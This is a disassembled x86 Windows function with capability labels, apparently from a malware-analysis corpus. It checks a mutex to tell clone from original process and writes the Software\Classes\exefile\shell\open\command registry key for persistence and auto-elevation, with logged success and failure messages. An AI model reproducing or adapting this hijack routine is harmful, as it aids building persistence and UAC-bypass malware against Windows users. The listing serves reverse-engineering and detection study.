Function at 0x46c960
Capabilities:
Check mutex on windows
Persist via default file association registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x571288
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x5e8ea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x84], edx
mov ebx, ecx
mov dword [ebp - 0x7c], ebx
mov edi, dword [ebp + 8]
lea ecx, [ebp - 0x58]
mov byte [ebp - 0x75], 0
call fcn.0046c7b0
cmp dword [eax + 0x14], 0x10
jb 0x46c9ad
mov eax, dword [eax]
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, dword [ebp - 0x44]
mov esi, eax
cmp edx, 0x10
jb 0x46c9ee
mov ecx, dword [ebp - 0x58]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x46c9e4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46ce07
push edx
push ecx
call fcn.0052cac7
add esp, 8
push 0
push esi
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x46ca18
mov byte [ebp - 0x75], 1
push str.___CLONE_INFO:_Im_a_clone_
jmp 0x46ca1d
push str.___CLONE_INFO:_Im_original_process_
call fcn.004612c0
add esp, 4
push 0x5d6190
call fcn.004612c0
mov al, byte [0x5ef9ba]
add esp, 4
test al, al
je 0x46cb46
push 7
xor eax, eax
mov dword [ebp - 0x18], 0
push str.__1___
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.0044a890
mov eax, dword [ebp - 0x18]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
add eax, eax
push 0
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x74]
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SoftwareClassesexefile_shellopencommand
push reloc.OLEAUT32.dll_SysReAllocString
call ebx
test eax, eax
jne 0x46caba
push dword [ebp - 0x80]
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
push 1
push 0
push 0
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
lea eax, [ebp - 0x74]
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SoftwareClassesexefile_shellopencommand
push SysReAllocString
call ebx
test eax, eax
jne 0x46cb04
push dword [ebp - 0x80]
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
push 1
push 0
push 0
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x46cb3e
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46cb34
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46ce0c
push edx
push ecx
call fcn.0052cac7
add esp, 8
mov ebx, dword [ebp - 0x7c]
mov al, byte [0x5ef9ba]
cmp byte [ebp - 0x75], 0
je 0x46cb64
test al, al
jne 0x46cc3a
mov dword [edi], 1
mov eax, 1
jmp 0x46cdeb
test al, al
jne 0x46cc41
mov edx, dword [ebp - 0x84]
mov ecx, ebx
call fcn.004758c0
test eax, eax
je 0x46cc26
push str.___Auto_elevation_success.
call fcn.004612c0
add esp, 4
call fcn.00461540
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x5ef798], 0
mov dword [edi], 0
je 0x46cc1c
push 0x5efbd0
lea ecx, [ebp - 0x58]
call fcn.00449510
push ecx
push str.AppData_
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], 0
call fcn.0046e2a0
cmp eax, 0xffffffff
jne 0x46cbe2
mov cl, 1
call fcn.0046d830
mov edx, dword [ebp - 0x44]
cmp edx, 8
jb 0x46cc1c
mov ecx, dword [ebp - 0x58]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46cc12
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46ce11
push edx
push ecx
call fcn.0052cac7
add esp, 8
mov eax, 1
jmp 0x46cdeb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Auto_elevation_failed__Code__lu.
call fcn.004612c0
add esp, 8
xor eax, eax
jmp 0x46cdeb
xor eax, eax
mov dword [ebp - 0x30], 0
cmp byte [0x5ef79b], al
mov ecx, 5
push 1
cmovne eax, ecx
mov dword [ebp - 0x2c], 7
movzx eax, ax
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x7c], eax
xor eax, eax
push 0x5d6db8
mov word [ebp - 0x40], ax
call fcn.0044a890
mov ecx, ebx
mov dword [ebp - 4], 1
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x46cc86
sub ecx, edx
sar ecx, 1
push ecx
push ebx
lea ecx, [ebp - 0x40]
call fcn.0044fc90
push 2
push 0x5d6dbc
lea ecx, [ebp - 0x40]
call fcn.0044fc90
mov ebx, dword [ebp - 0x84]
mov ecx, ebx
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x46ccc0
sub ecx, edx
sar ecx, 1
push ecx
push ebx
lea ecx, [ebp - 0x40]
call fcn.0044fc90
cmp dword [ebp - 0x2c], 8
lea ecx, [ebp - 0x40]
mov edx, dword [ebp - 0x7c]
cmovae ecx, dword [ebp - 0x40]
push 0x2710
push 0
call fcn.0046c380
add esp, 8
test eax, eax
je 0x46cd9d
push str.___Re_launch_success.
call fcn.004612c0
add esp, 4
call fcn.00461540
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x5ef798], 0
mov dword [edi], 0
je 0x46cd96
push 0x5efbd0
lea ecx, [ebp - 0x70]
call fcn.00449510
push ecx
push str.AppData_
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 2
call fcn.0046e2a0
cmp eax, 0xffffffff
jne 0x46cd5c
mov cl, 1
call fcn.0046d830
mov edx, dword [ebp - 0x5c]
cmp edx, 8
jb 0x46cd96
mov ecx, dword [ebp - 0x70]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46cd8c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46ce16
push edx
push ecx
call fcn.0052cac7
add esp, 8
mov esi, 1
jmp 0x46cdb3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Re_launch_failed__Code__lu.
call fcn.004612c0
add esp, 8
xor esi, esi
mov edx, dword [ebp - 0x2c]
cmp edx, 8
jb 0x46cde9
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46cddf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46ce1b
push edx
push ecx
call fcn.0052cac7
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0052c886
mov esp, ebp
pop ebp
ret
call fcn.00548571
call fcn.00548571
call fcn.00548571
call fcn.00548571
call fcn.00548571
int3